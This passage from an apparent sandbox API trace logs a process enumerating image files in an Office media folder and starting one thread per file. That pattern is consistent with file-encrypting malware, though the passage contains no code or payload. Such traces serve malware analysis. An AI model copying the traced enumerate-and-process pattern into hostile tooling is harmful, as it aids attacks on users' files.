ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0126.703] wcscmp (_String1="J0251301.WMF", _String2=".") returned 1 [0126.703] wcscmp (_String1="J0251301.WMF", _String2="..") returned 1 [0126.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a770 [0126.704] wcscpy (in: _Dest=0x2050a770, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.704] wcscat (in: _Dest=0x2050a770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.704] wcscat (in: _Dest=0x2050a770, _Source="J0251301.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" [0126.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0126.704] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0126.704] wcscmp (_String1="J0251871.WMF", _String2=".") returned 1 [0126.705] wcscmp (_String1="J0251871.WMF", _String2="..") returned 1 [0126.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050aa40 [0126.705] wcscpy (in: _Dest=0x2050aa40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.705] wcscat (in: _Dest=0x2050aa40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.705] wcscat (in: _Dest=0x2050aa40, _Source="J0251871.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" [0126.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aa40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78 [0126.710] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0126.710] wcscmp (_String1="J0251925.WMF", _String2=".") returned 1 [0126.710] wcscmp (_String1="J0251925.WMF", _String2="..") returned 1 [0126.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x20509de0 [0126.711] wcscpy (in: _Dest=0x20509de0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.711] wcscat (in: _Dest=0x20509de0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.711] wcscat (in: _Dest=0x20509de0, _Source="J0251925.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" [0126.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf74 [0126.712] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0126.712] wcscmp (_String1="J0252349.WMF", _String2=".") returned 1 [0126.712] wcscmp (_String1="J0252349.WMF", _String2="..") returned 1 [0126.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050ad10 [0126.712] wcscpy (in: _Dest=0x2050ad10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.712] wcscat (in: _Dest=0x2050ad10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.712] wcscat (in: _Dest=0x2050ad10, _Source="J0252349.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" [0126.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0126.713] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0126.713] wcscmp (_String1="J0278882.WMF", _String2=".") returned 1 [0126.713] wcscmp (_String1="J0278882.WMF", _String2="..") returned 1 [0126.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a260 [0126.713] wcscpy (in: _Dest=0x2050a260, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.713] wcscat (in: _Dest=0x2050a260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.713] wcscat (in: _Dest=0x2050a260, _Source="J0278882.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" [0126.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c [0126.714] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0126.714] wcscmp (_String1="J0281904.WMF", _String2=".") returned 1 [0126.714] wcscmp (_String1="J0281904.WMF", _String2="..") returned 1 [0126.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050ab60 [0126.714] wcscpy (in: _Dest=0x2050ab60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.714] wcscat (in: _Dest=0x2050ab60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.714] wcscat (in: _Dest=0x2050ab60, _Source="J0281904.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" [0126.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68 [0126.715] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0126.715] wcscmp (_String1="J0283209.GIF", _String2=".") returned 1 [0126.715] wcscmp (_String1="J0283209.GIF", _String2="..") returned 1 [0126.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b100 [0126.715] wcscpy (in: _Dest=0x2050b100, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.715] wcscat (in: _Dest=0x2050b100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.715] wcscat (in: _Dest=0x2050b100, _Source="J0283209.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" [0126.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64 [0126.725] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0126.725] wcscmp (_String1="J0284916.JPG", _String2=".") returned 1 [0126.725] wcscmp (_String1="J0284916.JPG", _String2="..") returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050ada0 [0126.725] wcscpy (in: _Dest=0x2050ada0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.725] wcscat (in: _Dest=0x2050ada0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.725] wcscat (in: _Dest=0x2050ada0, _Source="J0284916.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" [0126.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ada0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0126.726] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0126.726] wcscmp (_String1="J0285360.WMF", _String2=".") returned 1 [0126.726] wcscmp (_String1="J0285360.WMF", _String2="..") returned 1 [0126.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050af50 [0126.726] wcscpy (in: _Dest=0x2050af50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.726] wcscat (in: _Dest=0x2050af50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.726] wcscat (in: _Dest=0x2050af50, _Source="J0285360.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" [0126.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050af50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c [0126.727] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0126.727] wcscmp (_String1="J0285410.WMF", _String2=".") returned 1 [0126.727] wcscmp (_String1="J0285410.WMF", _String2="..") returned 1 [0126.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050abf0 [0126.727] wcscpy (in: _Dest=0x2050abf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.727] wcscat (in: _Dest=0x2050abf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.728] wcscat (in: _Dest=0x2050abf0, _Source="J0285410.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" [0126.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050abf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf58 [0126.728] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0126.728] wcscmp (_String1="J0285444.WMF", _String2=".") returned 1 [0126.728] wcscmp (_String1="J0285444.WMF", _String2="..") returned 1 [0126.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050aec0 [0126.729] wcscpy (in: _Dest=0x2050aec0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.729] wcscat (in: _Dest=0x2050aec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.729] wcscat (in: _Dest=0x2050aec0, _Source="J0285444.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" [0126.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf54 [0126.729] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0126.729] wcscmp (_String1="J0285698.WMF", _String2=".") returned 1 [0126.729] wcscmp (_String1="J0285698.WMF", _String2="..") returned 1 [0126.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x205098d0 [0126.730] wcscpy (in: _Dest=0x205098d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.730] wcscat (in: _Dest=0x205098d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.730] wcscat (in: _Dest=0x205098d0, _Source="J0285698.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" [0126.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205098d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0126.731] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0126.731] wcscmp (_String1="J0285750.WMF", _String2=".") returned 1 [0126.731] wcscmp (_String1="J0285750.WMF", _String2="..") returned 1 [0126.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x20509c30 [0126.731] wcscpy (in: _Dest=0x20509c30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.731] wcscat (in: _Dest=0x20509c30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.731] wcscat (in: _Dest=0x20509c30, _Source="J0285750.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" [0126.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c [0126.732] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0126.732] wcscmp (_String1="J0285926.WMF", _String2=".") returned 1 [0126.732] wcscmp (_String1="J0285926.WMF", _String2="..") returned 1 [0126.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050aad0 [0126.732] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.732] wcscat (in: _Dest=0x2050aad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.732] wcscat (in: _Dest=0x2050aad0, _Source="J0285926.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" [0126.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48 [0126.733] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0126.733] wcscmp (_String1="J0286034.WMF", _String2=".") returned 1 [0126.733] wcscmp (_String1="J0286034.WMF", _String2="..") returned 1 [0126.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x20509a80 [0126.733] wcscpy (in: _Dest=0x20509a80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.733] wcscat (in: _Dest=0x20509a80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.733] wcscat (in: _Dest=0x20509a80, _Source="J0286034.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" [0126.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf44 [0126.734] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0126.734] wcscmp (_String1="J0286068.WMF", _String2=".") returned 1 [0126.734] wcscmp (_String1="J0286068.WMF", _String2="..") returned 1 [0126.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a2f0 [0126.734] wcscpy (in: _Dest=0x2050a2f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.734] wcscat (in: _Dest=0x2050a2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft 